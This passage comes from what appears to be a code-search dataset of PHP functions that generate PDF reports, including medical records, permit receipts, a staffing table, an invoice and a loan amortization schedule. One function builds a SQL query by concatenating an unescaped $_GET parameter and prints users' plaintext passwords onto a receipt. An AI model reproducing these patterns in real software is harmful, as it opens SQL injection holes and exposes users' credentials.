$pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"talla\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(15,5,utf8_decode('PESO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"peso\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(15,5,utf8_decode('GRASA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"grasa\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(40,5,utf8_decode('PRESION ARTERIAL: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"presionarterial\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('TEMPERATURA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"temperatura\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(15,5,utf8_decode('PULSO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"pulso\"])),1,1,'C',0);\r\n\r\n $pdf->Ln(4);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(0,5,utf8_decode('MOTIVO CONSULTA: '),0,1,'L',0);\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->MultiCell(0, 5, $rst[\"motivoconsulta\"], 1, \"J\", 0);\r\n\r\n $pdf->Ln(2);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(0,5,utf8_decode('EXAMEN FISICO: '),0,1,'L',0);\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->MultiCell(0, 5, $rst[\"examenfisico\"], 1, \"J\", 0);\r\n\r\n $pdf->Ln(2);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(0,5,utf8_decode('TRATAMIENTO: '),0,1,'L',0);\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->MultiCell(0, 5, $rst[\"tratamiento\"], 1, \"J\", 0);\r\n\r\n $pdf->Ln(2);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(0,5,utf8_decode('OBSERVACIONES: '),0,1,'L',0);\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->MultiCell(0, 5, $rst[\"observaciones\"], 1, \"J\", 0);\r\n\r\n //Fecha Impresion\r\n $pdf->Ln(1);\r\n $pdf->SetFont('Arial','B',6);\r\n $pdf->Cell(20,4,utf8_decode('Fecha Impresión:'),0,0,'L',0);\r\n $pdf->SetFont('Arial','',6);\r\n $pdf->Cell(20,4,\" \".utf8_decode($fechaimpresion),0,1,'L',0);\r\n\r\n// $pdf->Ln(260 - $pdf->GetY());\r\n\r\n\r\n for($x = 0; $x < (260 - $pdf->GetY()); $x++){\r\n $pdf->Ln(10);\r\n }\r\n\r\n// $salto = 270 - $pdf->GetY();\r\n// $pdf->Cell(0,$salto,\"\",1,1,'L',0);\r\n\r\n $pdf->setAutoPagebreak(true,50);\r\n\r\n endforeach;\r\n\r\n\r\n }else{\r\n //Set x and y position for the main text, reduce font size and write content\r\n $pdf->SetXY (30,100);\r\n $pdf->SetFontSize(8);\r\n $pdf->Write(5,utf8_decode(' No existe Informacion registrada'));\r\n }\r\n\r\n //Pie Pagina\r\n $pdf->Footer();\r\n\r\n //Para poner la Pagina 1/(1...n)\r\n $pdf->AliasNbPages();\r\n\r\n //Output the document\r\n $fecha = date(\"YmdHis\").'.pdf';\r\n $pdf->Output($fecha,'D');\r\n\r\n }", "title": "" }, { "docid": "721b337f50fb36b801aa430415ab744e", "score": "0.6885113", "text": "public function pdfdetails()\r\n\t\t {\r\n\t\t \t\tif($this->uri->segment(3))\r\n\t\t \t{\r\n\t\t\t $id = $this->uri->segment(3);\r\n\r\n\t\t\t $html_content = '<h5 align=\"center\">GOVERNMENT OF ARUNACHAL PRADESH <br>\r\n\t\t\t \r\n\t\t\t ( System Generated Report : www.ditc.online )\r\n\t\t\t </h5>';\r\n\r\n\t\t\t $html_content .= $this->articlesmodel->fetch_single_details($id);\r\n\t\t\t $this->pdf->loadHtml($html_content);\r\n\t\t\t $this->pdf->setPaper('A4','portrait'); //set paper size and orientation\r\n\t\t\t $this->pdf->render();\r\n\t\t\t $this->pdf->stream(\"\".$id.\".pdf\", array(\"Attachment\"=>0));\r\n\t\t \t }\r\n\t\t}", "title": "" }, { "docid": "6af7db649d17bb8c983e5221f6e5bbfb", "score": "0.6877445", "text": "public function cetak_belakang($id = null)\n { \n $sppd_belakang = $this->Model_cetak->list_data_sppd_belakang(array('id_surat_tugas' => $id))->row();\n \n $data['pageTitle'] = 'SPPD Belakang'; \n $data['sppd_belakang'] = $sppd_belakang; \n // $data['sppd'] = $this->Model_cetak->get_sppd_pegawai($id);\n $html = $this->load->view('cetak_sppd_belakang', $data, TRUE);\n\n \n $mpdf = new \\Mpdf\\Mpdf(['mode' => 'utf-8', 'format' => [220, 330]]);\n\n // $mpdf->defaultheaderline = 0;\n // $mpdf->SetHeader('\n // <div style=\"text-align: left; font-weight: bold; font-size: 12pt;\">\n // BALAI BESAR PENGAWAS OBAT DAN MAKANAN<br> DI PEKANBARU\n // </div>');\n\n // Write some HTML code:\n $mpdf->WriteHTML($html);\n \n $mpdf->SetTitle('SPPD belakang Surat Tugas');\n // Output a PDF file directly to the browser\n $mpdf->Output('SPPD Belakang.pdf', 'I');\n\n }", "title": "" }, { "docid": "014ca07ee131eb73c19d1b8a8505a43a", "score": "0.6863042", "text": "function view_tt_1_edar_form() {\n global ${$GLOBALS['session_vars']}, ${$GLOBALS['get_vars']}, $adodb;\n #$field_arr = tt_1_alkes::get_field_set();\n\n $optional_arr = $this->optional_arr;\n $optional_arr['no_tt'] = 'protect';\n\n $record = array (\n 'no_tt' => ${$GLOBALS['get_vars']}['no_tt']\n );\n #$result = tt_1_alkes::get($record);\n $value_arr = $result[0];\n $label_arr = $this->tt_1_alkes_label;\n global $adodb;\n\n define('FPDF_FONTPATH','fpdf/font/');\n require('fpdf/fpdf.php');\n $pdf=new FPDF('L','mm','A5');\n $pdf->Open();\n $pdf->AddPage();\n $pdf->SetFont('Arial','B',14);\n $pdf->Cell(180,7,'SURAT TANDA TERIMA UBAH IZIN PRODUKSI','',0,'L');\n $pdf->Ln(5);\n $pdf->SetFont('Arial','B',12);\n $pdf->Cell(180,7,'Departemen Kesehatan RI','',0,'L');\n $pdf->Ln(5);\n $pdf->Cell(180,7,'Tanda Terima Permohonan Ijin Produksi Alkes/PKRT','',0,'L');\n $pdf->Ln(5);\n $pdf->Cell(180,7,'( Berdasarkan subdit yang dipilih pada tanda terima )','',0,'L');\n $pdf->Ln(5);\n $pdf->Cell(180,7,'','B',0,'L');\n $pdf->Ln(10);\n $pdf->SetFont('Arial','',12);\n\n $sql = \"SELECT\n a.no_tt,\n a.urut_no_tt,\n subdit.subdit,\n a.date_insert,\n c.nama_pabrik,\n c.nama_pendaftar_edar_alkes_import as nama_pendaftar,\n c.alamat_pendaftar_edar_alkes_import as alamat_pendaftar,\n c.alamat_pabrik,\n c.nama_propinsi_2,\n c.userid,\n c.tpwd,\n a.insert_by\n FROM tt_1_edar_alkes_import a\n LEFT OUTER JOIN subdit ON(subdit.id_subdit = a.kode_subdit)\n LEFT OUTER JOIN pendaftar_edar_alkes_import c ON(c.kode_pendaftar_edar_alkes_import = a.kode_pendaftar_edar_alkes_import)\n WHERE\n a.no_tt ='\".$_GET['no_tt'].\"'\n GROUP BY\n a.no_tt,\n a.urut_no_tt,\n subdit.subdit,\n a.date_insert,\n c.nama_pabrik,\n c.nama_pendaftar_edar_alkes_import,\n c.alamat_pendaftar_edar_alkes_import,\n c.alamat_pabrik,\n c.nama_propinsi_2,\n c.userid,\n c.tpwd,\n a.insert_by\n \";\n //print $sql;\n $rs = $adodb->Execute($sql);\n $urut_no_tt = $rs->fields['urut_no_tt'];\n $nama_pendaftar = $rs->fields['nama_pendaftar'];\n $alamat_pendaftar = $rs->fields['alamat_pendaftar'];\n $nama_pabrik = $rs->fields['nama_pabrik'];\n $userid = $rs->fields['userid'];\n $pwd = $rs->fields['tpwd'];\n $pdf->Ln(10);\n $pdf->Cell(30,7,'No Tanda Terima','',0,'L');$pdf->Cell(10,7,' : ','',0,'L');$pdf->Cell(140,7,''.$urut_no_tt\n.'','',0,'L');\n $pdf->Ln(10);\n $pdf->Cell(30,7,'Nama Pemohon','',0,'L');$pdf->Cell(10,7,' : ','',0,'L');$pdf->Cell(140,7,''.$nama_pendaftar.'','',0,'L');\n $pdf->Ln(10);\n $pdf->Cell(30,7,'Alamat Pemohon','',0,'L');$pdf->Cell(10,7,' : ','',0,'L');$pdf->Cell(140,7,''.$alamat_pendaftar.'','',0,'L');\n $pdf->Ln(10);\n $pdf->Cell(30,7,'Nama Pabrik','',0,'L');$pdf->Cell(10,7,' : ','',0,'L');$pdf->Cell(140,7,''.$nama_pabrik.'','',0,'L');\n $pdf->Ln(10);\n $pdf->Cell(30,7,'User ID','',0,'L');$pdf->Cell(10,7,' : ','',0,'L');$pdf->Cell(140,7,''.$userid.'','',0,'L');\n $pdf->Ln(10);\n $pdf->Cell(30,7,'Password','',0,'L');$pdf->Cell(10,7,' : ','',0,'L');$pdf->Cell(140,7,''.$pwd.'','',0,'L');\n $pdf->Ln(10);\n $pdf->Output();\n\n }", "title": "" }, { "docid": "c64d70f7b4daf6b473a7f061e6f95e38", "score": "0.6859466", "text": "public function pdf($pdf);", "title": "" }, { "docid": "ccb1b7a4d9fd0598c7fc4afc83724650", "score": "0.68490565", "text": "public function print_mpp_dep()\r\n {\r\n $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);\r\n // document informasi\r\n $pdf->SetCreator('PT. Astrindo Senayasa');\r\n $pdf->SetTitle('Laporan Data Karyawan');\r\n $pdf->SetSubject('Man Power Planning');\r\n //header Data\r\n $pdf->SetHeaderData('logo.jpg',30,'PT. Astrindo Senayasa','Mangga Dua Square Blok G 24, Jalan Gunung Sahari Raya, Pademangan, RT.12/RW.6, Jakarta Utara, Daerah Khusus Ibukota Jakarta.',array(0, 0, 0),array(0, 0, 0));\r\n $pdf->SetFooterData(array(255, 255, 255), array(255, 255, 255));\r\n $pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));\r\n $pdf->setFooterFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));\r\n $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);\r\n //set margin\r\n $pdf->SetMargins(PDF_MARGIN_LEFT,PDF_MARGIN_TOP - 6,PDF_MARGIN_RIGHT);\r\n $pdf->SetHeaderMargin(PDF_MARGIN_HEADER);\r\n $pdf->SetFooterMargin(PDF_MARGIN_FOOTER);\r\n $pdf->SetAutoPageBreak(FALSE, PDF_MARGIN_BOTTOM - 5);\r\n //SET Scaling ImagickPixel\r\n $pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);\r\n //FONT Subsetting\r\n $pdf->setFontSubsetting(true);\r\n $pdf->SetFont('helvetica','',6,'',true);\r\n $pdf->AddPage('P');\r\n \r\n $html=\r\n '<div>\r\n <h1 align=\"center\">MAN POWER PLANNING</h1>\r\n <table border=\"0.5\">\r\n <tr>\r\n <td colspan=\"10\" align=\"center\" > Total permintaan per Jabatan untuk setiap Departemen di masing-masing area</td>\r\n </tr>\r\n <tr>\r\n <td width=\"20px\" align=\"center\">No.</td>\r\n <td width=\"35px\" align=\"center\">Area</td>\r\n <td width=\"50px\" align=\"center\">Departemen</td>\r\n <td width=\"150px\" align=\"center\">Jabatan</td>\r\n <td width=\"60px\" align=\"center\">Januari 2018</td>\r\n <td width=\"60px\" align=\"center\">Februari 2018</td>\r\n <td width=\"60px\" align=\"center\">Maret 2018</td>\r\n <td width=\"60px\" align=\"center\">April 2018</td>\r\n <td width=\"60px\" align=\"center\">Mei 2018</td>\r\n <td width=\"75.5px\" align=\"center\">Grand Total</td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">1</td>\r\n <td align=\"center\">100</td>\r\n <td> Logistik</td>\r\n <td> Helper</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">2</td>\r\n <td></td>\r\n <td> Sales</td>\r\n <td> Corporate Account Executive</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">3</td>\r\n <td></td>\r\n <td></td>\r\n <td> Sales Executive (Component)</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">4</td>\r\n <td align=\"center\">300</td>\r\n <td> Sales</td>\r\n <td> Sales Manager - Yogyakarta</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">5</td>\r\n <td align=\"center\">500</td>\r\n <td> IT</td>\r\n <td> Admin Technical Support - Bali</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">6</td>\r\n <td></td>\r\n <td> Sales</td>\r\n <td> Sales Executive - Bali</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">7</td>\r\n <td align=\"center\">600</td>\r\n <td> Sales</td>\r\n <td> Admin Sales - Semarang</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">8</td>\r\n <td align=\"center\">700</td>\r\n <td> Logistik</td>\r\n <td> Admin Logistik Makasar</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">9</td>\r\n <td></td>\r\n <td> QA</td>\r\n <td> Admin Service & IT Support Makassar</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">10</td>\r\n <td></td>\r\n <td> Sales</td>\r\n <td> Admin Sales Makassar</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">11</td>\r\n <td></td>\r\n <td></td>\r\n <td> Sales Executive - Makassar</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">12</td>\r\n <td align=\"center\">800</td>\r\n <td> Sales</td>\r\n <td> Sales Manager Medan</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">13</td>\r\n <td align=\"center\">910</td>\r\n <td> Accounting</td>\r\n <td> Accounting Based in Banjarmasin</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">14</td>\r\n <td align=\"center\">HO</td>\r\n <td> Accounting</td>\r\n <td> Accounting</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">15</td>\r\n <td></td>\r\n <td> Audit</td>\r\n <td> Audit Manager</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">16</td>\r\n <td></td>\r\n <td> Finance</td>\r\n <td> Admin Finance</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">17</td>\r\n <td></td>\r\n <td></td>\r\n <td> Finance</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">18</td>\r\n <td></td>\r\n <td></td>\r\n <td> Finance AP</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">19</td>\r\n <td></td>\r\n <td> HR&GA</td>\r\n <td> Receptionist</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">20</td>\r\n <td></td>\r\n <td> Logistik</td>\r\n <td> Logistik Supervisor</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">21</td>\r\n <td></td>\r\n <td> Marketing</td>\r\n <td> Design Graphic</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">22</td>\r\n <td></td>\r\n <td></td>\r\n <td> Marketing Communication</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">23</td>\r\n <td></td>\r\n <td></td>\r\n <td> Marketing Communication Event & Media</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">24</td>\r\n <td></td>\r\n <td></td>\r\n <td> Marketing Communication Manager</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">25</td>\r\n <td></td>\r\n <td></td>\r\n <td> Marketing Specialist</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">26</td>\r\n <td></td>\r\n <td></td>\r\n <td> Product Manager</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">27</td>\r\n <td></td>\r\n <td> Sales</td>\r\n <td> Branch Manager - Medan</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">28</td>\r\n <td></td>\r\n <td></td>\r\n <td> Corporate Account Executive</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">29</td>\r\n <td></td>\r\n <td></td>\r\n <td> Pre Sales Engineer</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">30</td>\r\n <td></td>\r\n <td></td>\r\n <td> SPB</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td colspan=\"4\"> Grand Total</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n </table>\r\n </div>';\r\n\r\n $html .='\r\n <p style=\"text-align:right;\">Jakarta, ...................., 2018</p>\r\n </div>';\r\n\r\n $html.='<p>AST-CRM-HRG-024 Rev. 02 10-03-2017 | '.date(\"d-m-Y\", time()) .'</p>';\r\n $pdf->writeHTMLCell(0, 0, '', '', $html, 0, 0, 0, true, '', true);\r\n $pdf->Output('laporan_mpp_dep'.date(\"d-m-Y\", time()) .'.pdf','I');\r\n }", "title": "" }, { "docid": "3333699d5a8ffca74e5f3af84b5eb28f", "score": "0.6843753", "text": "public function pdf_Invoicevente($id) {\n $date = Carbon::now();\n$Invoicevente = $this->Invoicevente->byId($id);\n$client=$Invoicevente->commande_vente->client;\n$commande_vente=$Invoicevente->commande_vente;\n$pdf = PDF::loadView('Invoicevente.PDF',['Invoicevente' => $Invoicevente,'date' =>$date,'client' =>$client,'commande_vente' =>$commande_vente ]);\nreturn $pdf->stream('Facturevente.pdf');\n}", "title": "" }, { "docid": "2ad336c79e72dd1098a6989be1429cae", "score": "0.68407845", "text": "public function actionTablaAmortizacionPdf($id) {\n $id_unidad_familiar = UnidadFamiliar::model()->findByAttributes(array('beneficiario_id' => $id))->id_unidad_familiar; // ID DE LA UNIDAD_FAMILIAR PARA TRAER EL BENEFICIARIO\n $analicredito = AnalisisCredito::model()->findByAttributes(array('unidad_familiar_id' => $id_unidad_familiar)); // BUSQUEDA DEL ID_UNIDAD_FAMILIAR EN ANALISIS DE CREDITO \n $beneficiario = Beneficiario::model()->findByPk($id); //ID DEL BENEFICIARIO\n// $n = new AnalisisCredito();\n $criteria = new CDbCriteria;\n $criteria->condition = 'unidad_familiar_id= :unidad_familiar';\n $criteria->params = array(\":unidad_familiar\" => (int) $id_unidad_familiar);\n $credito = AnalisisCredito::model()->findAll($criteria);\n\n\n $htmlprincipal = \"<table align='right' width='100%' border='0'> \";\n foreach ($credito AS $analisis) {\n// var_dump($analisis->tasaInteres->tasa_interes);die();\n\n /* monto de la cuota finaciera es la funcion que se calcula de acuerdo al interes, los años , y el monto de credito a pagar ; funcion PMT EN EXCEL\n * $tasainteres=> 4.66/100/12\n * $años=> cantidad de años\n * $monto credito=> monto a pagar solicitado\n */\n $meses = $analisis->nro_cuotas; //meses para pagar\n $años = $analisis->plazo_credito_ano; // cantidad en años para los meses \n $cuotamensual = $analisis->monto_cuota_f_total; //cuota total mensual a pagar\n $montocredito = $analisis->monto_credito; //monto total a pagar del credito\n $tasainteres = $analisis->tasaInteres->tasa_interes; // tasa de interes \n $montoCoutaFinanciera = CalculosController::actionMontoCoutaFinanciera($tasainteres, $años, $montocredito);\n $montoCoutaFinanciera = number_format($montoCoutaFinanciera, 2, '.', '');\n $totalInteres = 0;\n $totalCuotaFongar = 0;\n $totalMontoCuotaFinan = 0;\n $htmlprincipal = \"<table align='right' width='100%' border='0'> \n <tr>\n <td colspan='4' align='center'><b><font size='4'>DATOS DEL CRÉDITO</br></br></font></td>\n </tr>\t\t\n </table>\n \n <table width='100%' >\n <tr style='background:#E5E2E2'>\n <td colspan='1'><b>Monto Solicitado: </b></td><td colspan='1'>\" . number_format($analisis->unidadFamiliar->beneficiario->beneficiarioTemporal->vivienda->precio_vivienda, 2, ',', '.') . \"</td> \n </tr>\";\n if ($analisis->sub_directo_habitacional!='0.00'){\n $htmlprincipal .= \"\n <tr>\n <td colspan='1'><b>Subsidio Directo Habitacional:</b></td><td colspan='1'>\" . $analisis->sub_directo_habitacional . \"</td>\n </tr>\";\n }\n if ($analisis->sub_vivienda_perdida!='0.00'){\n $htmlprincipal .= \"\n <tr style='background:#E5E2E2'>\n <td colspan='1'><b>Reconocimiento Vivienda Perdida:</b></td><td colspan='1'>\" . number_format($analisis->sub_vivienda_perdida, 2, ',', '.') . \"</td>\n </tr>\";\n }\n if (($analisis->sub_directo_habitacional!='0.00')&&($analisis->sub_vivienda_perdida!='0.00')){\n $htmlprincipal .= \"\n <tr>\n <td colspan=''><b>Subsidio Total (Bs.):</b></td><td colspan='1'>\" . number_format($analisis->sub_directo_habitacional + $analisis->sub_vivienda_perdida, 2, ',', '.') . \"</td>\n </tr>\"; \n }\n \n if ($analisis->monto_inicial!='0.00'){\n $htmlprincipal .= \"\n <tr style='background:#E5E2E2'>\n <td colspan='1'><b>Cuota Inicial Pagada (Bs.):</b></td><td colspan='1'>\" . number_format($analisis->monto_inicial, 2, ',', '.') . \"</td>\n </tr>\";\n }\n $htmlprincipal .= \" \n <tr>\n <td colspan='1'><b>Monto Credito A Otorgar: </b></td><td colspan='1'>\" . number_format($analisis->monto_credito, 2, ',', '.') . \"</td> \n </tr>\n \n <tr style='background:#E5E2E2'>\n <td colspan='1'><b> Tasa Interes:</b></td><td colspan='1'>\" . $analicredito->tasaInteres->tasa_interes . \" %</td>\n </tr>\n \n <tr>\n <td colspan='1'><b>Plazo del Credito:</b></td><td colspan='1'>\" . number_format($analisis->nro_cuotas/12 ).\" - AÑOS</td>\n </tr>\n <tr style='background:#E5E2E2'>\n <td colspan='1'><b>Pago Total Mensual:</b></td><td colspan='1'>\" . number_format($analisis->monto_cuota_f_total, 2, ',', '.') . \"</td>\n </tr>\n \n </table> <br/>\";\n\n $htmlprincipal.=\" <table align='right' width='100%' border='0'> \n <tr >\n <td colspan='4' align='center'><b><font size='4'>DATOS PARA LA CANCELACIÓN</br></br></font><font size='6'> </font></td>\n </tr>\n </table>\n <table width='100%'>\n <tr style='background:#E5E2E2'>\n <td colspan='2'><b>Institución Bancaria:</b></td><td colspan='2'> BANCO DE VENEZUELA </td>\n </tr>\n <tr >\n <td colspan='2'><b>Cuenta Corriente:</b></td><td colspan='2'> 0102-0552-23-0000027685 </td>\n </tr>\n <tr style='background:#E5E2E2'>\n <td colspan='2'><b>A nombre de:</b></td><td colspan='2'> <b>BANAVIH COBRANZAS</b></td>\n </tr>\n <tr >\n <td colspan='2'><b>Serial de Cliente:</b></td><td colspan='2'>\" . date('Y') . \" \" . $analicredito->unidadFamiliar->beneficiario->beneficiarioTemporal->cedula . \" </td>\n </tr> \n <tr style='background:#E5E2E2'>\n <td colspan='2'><b>Fecha Primer Pago:</b></td><td colspan='2'>\" . date(\"d/m/Y\", strtotime($analisis->fecha_protocolizacion)) . \"</td>\n </tr>\n </table>\n <br/>\";\n\n// $htmlprincipal.=\"<table align='right' width='100%' border='0'> \n// <tr>\n// <td colspan='4' align='center'><b><font size='4'>PRIMA INICIAL FONDO DE GARANTIA</br></br></font><font size='6'> </font></td>\n// </tr>\t\t\n// <tr style='background:#E5E2E2'>\n// <td colspan='2'><b>Prima Inicial Fondo de Garantia (Bs.):</b></td><td colspan='2'>\" . number_format($analisis->monto_prima_inicial_fg, 2, ',', '.') . \"</td>\n// <tr>\n// <td colspan='2'><b>Porcentaje de la Prima Inicial (Bs.):</b></td><td colspan='2'> 1,43% </td>\n// </tr>\t\t\n// </tr>\n// </table>\";\n\n\n\n\n// $tablaAmortiz = '<table border=1 cellspacing=1 cellpadding=0 bordercolor=\"E5E2E2\">';\n// $tablaAmortiz.= ' <tr><th colspan=\"4\" style=\"background:#E5E2E2; tex-algn:center;\"><b>CUOTA FINANCIERA</th><th colspan=\"1\" style=\"background:#E5E2E2\">PRIMA <br/>RENOVAC. <br/>FONGAR</th>\n// <th colspan=\"2\" style=\"background:#E5E2E2\">CUOTA <br/>TOTAL<br/>MENSUAL</th>\n// </tr>';\n// $tablaAmortiz.= '<tr style=\"background:#E5E2E2\"> <th colspan=\"1\">N-MESES</th><th colspan=\"1\">SALDO<br/>DEUDOR (Bs.)</th><th colspan=\"1\">AMORTIZACION <br>DE CAPITAL</th><th colspan=\"1\">INTERESES<br/>(Bs.)</th>\n// <th colspan=\"1\">PRIMA DEL <br/>FONDO DE<br/> GARANTIA (Bs.)</th><th colspan=\"1\">PAGO TOTAL <br/> MENSUAL (Bs.)</th><th colspan=\"1\">FECHA DE <br/> VENCIMIENTO</th><th colspan=\"1\"></th>\n// </tr>';\n $tasaFongar = 0.0143; //tasa fongar al 1.43%\n $fechaprotocolizacion = $analisis->fecha_protocolizacion; //fecha en que se hizo genero el calculo\n $mes = 1; //variable definida en 1 para la sumar por meses \n\n for ($i = 1; $i <= $meses; $i++) { // inicio for para incrementar los meses \n $primaFondoGa = number_format($montocredito * ($tasaFongar / 12), 2, '.', '');\n $intereses = number_format($montocredito * (($tasainteres / 100) / 12), 2, '.', '');\n $amortizacion = number_format(($montoCoutaFinanciera - $intereses), 2, '.', '');\n $cuotamen = number_format(($intereses + $primaFondoGa + $amortizacion), 2, '.', '');\n $nuevafecha = strtotime('+' . $mes . ' month', strtotime($fechaprotocolizacion)); //$nuevafecha fecha de Protocolizacion 01/01/0001 00:00:00 convertida en fecha, sumando el mes siguiente\n $mes++;\n $nuevafecha = date('d/m/Y', $nuevafecha); //formato de la fecha nueva\n\n $saldoAnt = $montocredito - $amortizacion; // saldo nuevo una vez restada en el $montocredito - $amortizacion\n\n if ($i == $meses) { //inicio if\n $saldo = number_format(0.00, 2, '.', ''); //saldo deudor\n } else {\n\n $saldo = number_format($saldoAnt, 2, '.', ''); //saldo deudor\n } //fin if \n\n $totalInteres = $totalInteres + $intereses;\n $totalCuotaFongar = $totalCuotaFongar + $primaFondoGa;\n $totalMontoCuotaFinan = $totalMontoCuotaFinan + $montoCoutaFinanciera;\n $totalCancelar = $totalCuotaFongar + 